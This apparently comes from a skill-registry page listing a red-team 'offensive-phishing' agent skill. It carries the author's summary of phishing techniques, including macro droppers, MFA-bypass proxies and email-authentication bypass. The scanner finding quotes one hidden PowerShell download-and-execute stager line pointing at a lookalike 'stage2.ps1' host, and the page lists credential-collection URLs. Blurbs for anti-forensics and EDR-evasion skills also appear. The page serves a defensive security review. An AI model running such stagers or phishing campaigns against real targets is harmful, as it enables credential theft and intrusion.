Skills

offensive-phishing

SnailSploit/Claude-RedSecurityBusiness & productivityFrontend & design

offensive-phishing is a skill in SnailSploit/Claude-Red, last changed 25 Aug 2026. It can download software, run shell commands, reach the network and name web addresses — read the findings before installing.

From the author
Phishing campaign execution methodology for authorized red team engagements. Covers end-to-end campaign lifecycle: infrastructure provisioning (GoPhish, SMTP relay configuration, domain acquisition and aging, SPF/DKIM/DMARC alignment), payload delivery vectors (Office macro weaponization, HTA droppers, ISO/IMG container abuse, LNK shortcut hijacking, OneNote embedded payloads, HTML smuggling), email authentication bypass techniques (SPF softfail exploitation, DKIM replay attacks, display name spoofing, homoglyph and cousin domain registration), credential harvesting with MFA bypass (EvilGinx2 transparent proxy, Modlishka session relay, pixel-perfect HTML cloning), spear phishing pretext development informed by OSINT, email security gateway evasion, QR code phishing (quishing), and callback phishing for initial access. Integrates with GoPhish for campaign management, EvilGinx2 for adversary-in-the-middle credential interception, King Phisher for template design, and the Social Engineering Toolkit for payload generation. Maps to MITRE ATT&CK T1566 (Phishing) and sub-techniques T1566.001 (Spearphishing Attachment), T1566.002 (Spearphishing Link), T1566.003 (Spearphishing via Service). Assumes you have written authorization and a defined scope before any campaign execution.

At a glance

What it can touch

How much a skill can do, not whether it is risky.

Pattern check

1 item to review

Download piped into a shell

R01 · High · SKILL.md:225

Commit a8de813 · 3 Nov 2026

How the check works

Pattern check:1 item to reviewSee it

Install

Each tab says whether it installs commit a8de813, the one we checked, or the latest version.

Read this before installing: Download piped into a shell — SKILL.md:225

Read SKILL.md first
MIT
Licence
10.3k
Repo stars
25 Aug 2026 (opens in a new tab)
Folder last changed
SnailSploit
Publisher
1 file
Files
a8de813 (opens in a new tab)
Checked
3 Nov 2026

What it can touch

From the files and frontmatter at commit a8de813. This is how much a skill can do, not whether it is risky.

  • Downloads software

    It fetches programs or packages from the internet, or from a package source other than the default.

    SKILL.md:131 (opens in a new tab)

  • Runs shell commands

    Its instructions or files give the agent commands to run on your computer.

  • Reaches the network

    It sends or fetches data over the internet, for example with curl, an HTTP library or a package install.

    SKILL.md:131 (opens in a new tab)

  • Names web addresses

    It mentions outside web addresses the agent may visit. We list them but don't follow them.

    Outside links we did not follow

Pattern check

Pattern check: 1 item to review · commit a8de813 · 3 Nov 2026

  • R01 · HighDownload piped into a shell

    SKILL.md:225 (opens in a new tab)
    shell.Run "powershell -ep bypass -w hidden -c IEX((New-Object Net.WebClient).DownloadString('https://cdn.targetcorp-portal.com/stage2.ps1'))", 0

We checked every text file in this skill, at commit a8de813 on 3 Nov 2026, against 45 published patterns such as download-and-run commands, hidden text and credential access. We don't run the skill, we don't read the web pages it points to, and we can't judge everything its instructions might lead an agent to do. In published tests, pattern checks like this one missed most malicious skills. Read the skill before you install it — especially anything it asks you to download or run.

How the check worksReport an incorrect finding

Outside links we did not follow

  • https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
  • https://cdn.targetcorp-portal.com/update.exe
  • https://cdn.targetcorp-portal.com/stage2.ps1
  • https://github.com/kgretzky/evilginx2.git
  • https://login.targetcorp-portal.com/some-path
  • https://login.targetcorp.com/
  • https://phish.targetcorp-portal.com/collect
  • https://login.targetcorp-portal.com/auth
  • https://docs.getgophish.com
  • https://github.com/kgretzky/evilginx2
Show 3 more
  • https://github.com/rsmusllp/king-phisher
  • https://github.com/trustedsec/social-engineer-toolkit
  • https://github.com/elceef/dnstwist

Format check

Each agent reads SKILL.md a little differently. We check the file against each one's published rules; we don't run the skill in any agent.

  • Agent Skills specFails

    The open format from agentskills.io, held to the strictest version of each rule among the agents we check.

    • Error

      The description is 1,290 characters; the limit is 1,024. D2

      Fix: Shorten it to 1,024 characters or fewer, and move detail into the body.

    • Warning

      The body is 514 lines; the spec suggests under 500. B1

      Fix: Move detailed sections into reference files and link to them from SKILL.md.

    • Note

      There is no license field, so readers can't tell whether they may reuse the skill. O2

      Fix: Add license: with an SPDX name such as MIT or Apache-2.0, or the name of a bundled licence file.

  • Claude CodePasses

    Claude Code reads its own extra fields, ignores unknown ones, and still loads a skill whose frontmatter is broken, without its fields.

    • Note

      The body is 514 lines; the spec suggests under 500. Claude Code's docs say the same. B1

      Fix: Move detailed sections into reference files and link to them from SKILL.md.

  • Claude apps & API uploadFails

    Uploading to claude.ai or the Claude API, or packaging with Anthropic's script, accepts only the six spec fields and stops on anything else.

    • Error

      The description is 1,290 characters; the limit is 1,024. Anthropic's validator rejects it. D2

      Fix: Shorten it to 1,024 characters or fewer, and move detail into the body.

    • Note

      The body is 514 lines; the spec suggests under 500. Anthropic's guidance says the same. B1

      Fix: Move detailed sections into reference files and link to them from SKILL.md.

  • OpenAI (Codex & API)Fails

    Codex finds SKILL.md by its exact name and needs a description; OpenAI's Skills API checks the frontmatter against the spec and caps uploads.

    • Error

      The description is 1,290 characters; the limit is 1,024. Codex has no limit, but OpenAI's upload follows the spec. D2

      Fix: Shorten it to 1,024 characters or fewer, and move detail into the body.

  • VS Code & CopilotPasses with warnings

    VS Code reads skills one folder below .github/skills, .claude/skills or .agents/skills and falls back to the folder name when the name is missing or differs; GitHub's Copilot docs require the exact name SKILL.md.

    • Warning

      The description is 1,290 characters; the limit is 1,024. VS Code cuts it at 1,024 characters. D2

      Fix: Shorten it to 1,024 characters or fewer, and move detail into the body.

SKILL.md

Files

1 file

PathSize
SKILL.md (opens in a new tab)18.9 KB

More from SnailSploit/Claude-Red

SkillWhat it can touchPattern checkLicenceUpdated
  • Touches credentials
  • Runs shell commands
  • +1 more
Pattern check: Nothing flaggedMIT6 May 2026
offensive-advanced-redteamComprehensive red team operations methodology covering full engagement lifecycle from planning through reporting. Addresses engagement scoping and rules of engagement negotiation, multi-tier C2 infrastructure design with redirectors and domain fronting, malleable traffic profiles and beacon tradecraft, OPSEC discipline including attribution avoidance and indicator management, EDR and AMSI evasion techniques using direct syscalls and unhooking, data collection with chain-of-custody controls, and structured reporting with purple team debrief workflows. Covers assumed-breach, external-to-internal, insider threat, and hybrid physical-cyber engagement scenarios with MITRE ATT&CK mapping throughout. Targets operators planning or executing adversary simulation engagements against mature defenders.
  • Touches credentials
  • +4 more

Pattern check: 1 item to reviewMITUpdated 25 Aug 2026

  • Touches credentials
  • Downloads software
  • +3 more
Pattern check: 1 item to reviewMIT25 Aug 2026
offensive-ai-security
  • Names web addresses

Pattern check: 2 items to reviewMITUpdated 6 May 2026

  • Names web addresses
Pattern check: 2 items to reviewMIT6 May 2026
offensive-anti-forensicsAnti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal to counter live forensics, disk artifact manipulation targeting MFT entries and USN journal records, network forensics evasion through encrypted C2 channels and DNS-over-HTTPS tunneling, and anti-VM/sandbox detection to avoid dynamic analysis environments. Tools: Timestomp, wevtutil, sdelete, shred, MimiPenguin, Invoke-Phant0m. Aligns to MITRE ATT&CK T1070 (Indicator Removal), T1027 (Obfuscated Files or Information), T1497 (Virtualization/Sandbox Evasion). Each technique includes the forensic artifact it targets, the destruction or manipulation method, and the defender perspective so operators understand detection gaps they must account for.
  • Touches credentials
  • +3 more

Pattern check: Nothing flaggedMITUpdated 25 Aug 2026

  • Touches credentials
  • Runs shell commands
  • +2 more
Pattern check: Nothing flaggedMIT25 Aug 2026
offensive-api-abuseAdvanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request techniques. Provides comprehensive JWT manipulation including algorithm confusion, kid injection, jku/x5u abuse, and claim tampering. Details API key leakage detection across source repositories, client-side code, and error messages. Covers undocumented endpoint discovery through predictable naming, debug routes, and source map analysis. Tooling includes Arjun, ParamSpider, jwt_tool, and GraphQL Voyager. Designed for authorized penetration testers targeting business logic layers that automated scanners miss.
  • Touches credentials
  • +3 more

Pattern check: Nothing flaggedMITUpdated 25 Aug 2026

  • Touches credentials
  • Runs shell commands
  • +2 more
Pattern check: Nothing flaggedMIT25 Aug 2026
offensive-api-securityComprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and cross-site WebSocket hijacking. Provides tooling guidance for Burp Suite, Postman, grpcurl, websocat, and mitmproxy. Each technique includes detection signatures and defensive indicators so you understand what artifacts your testing leaves behind. Designed for authorized penetration testing engagements against API-driven architectures.
  • Touches credentials
  • +3 more

Pattern check: Nothing flaggedMITUpdated 25 Aug 2026

  • Touches credentials
  • Runs shell commands
  • +2 more
Pattern check: Nothing flaggedMIT25 Aug 2026
All skills in SnailSploit/Claude-Red

Other Security skills

Same category, most repo stars first.

SkillWhat it can touchPattern checkLicenceUpdated
  • Runs shell commands
Pattern check: Nothing flaggedMIT11 Aug 2026
  • Instructions only
Pattern check: Nothing flaggedMIT9 Oct 2026
  • Instructions only
Pattern check: Nothing flaggedMIT8 Oct 2026
csoSecurity audit: supported static findings; qualified profiles add reproduction and repair candidates. (gstack)

garrytan/gstack

  • Touches credentials
  • +4 more

Pattern check: Nothing flaggedMITUpdated 26 Oct 2026

  • Touches credentials
  • Runs shell commands
  • +3 more
Pattern check: Nothing flaggedMIT26 Oct 2026
  • Runs shell commands
Pattern check: Nothing flaggedMIT28 Oct 2026
  • Touches credentials
  • Runs shell commands
  • +2 more
Pattern check: Nothing flaggedMIT30 Oct 2026

Repo facts from GitHub on 3 Nov 2026. Files read at commit a8de813.

QAI did not write these skills and is not affiliated with their authors unless a page says so. Logos and icons belong to their owners and are not a mark of approval. How we check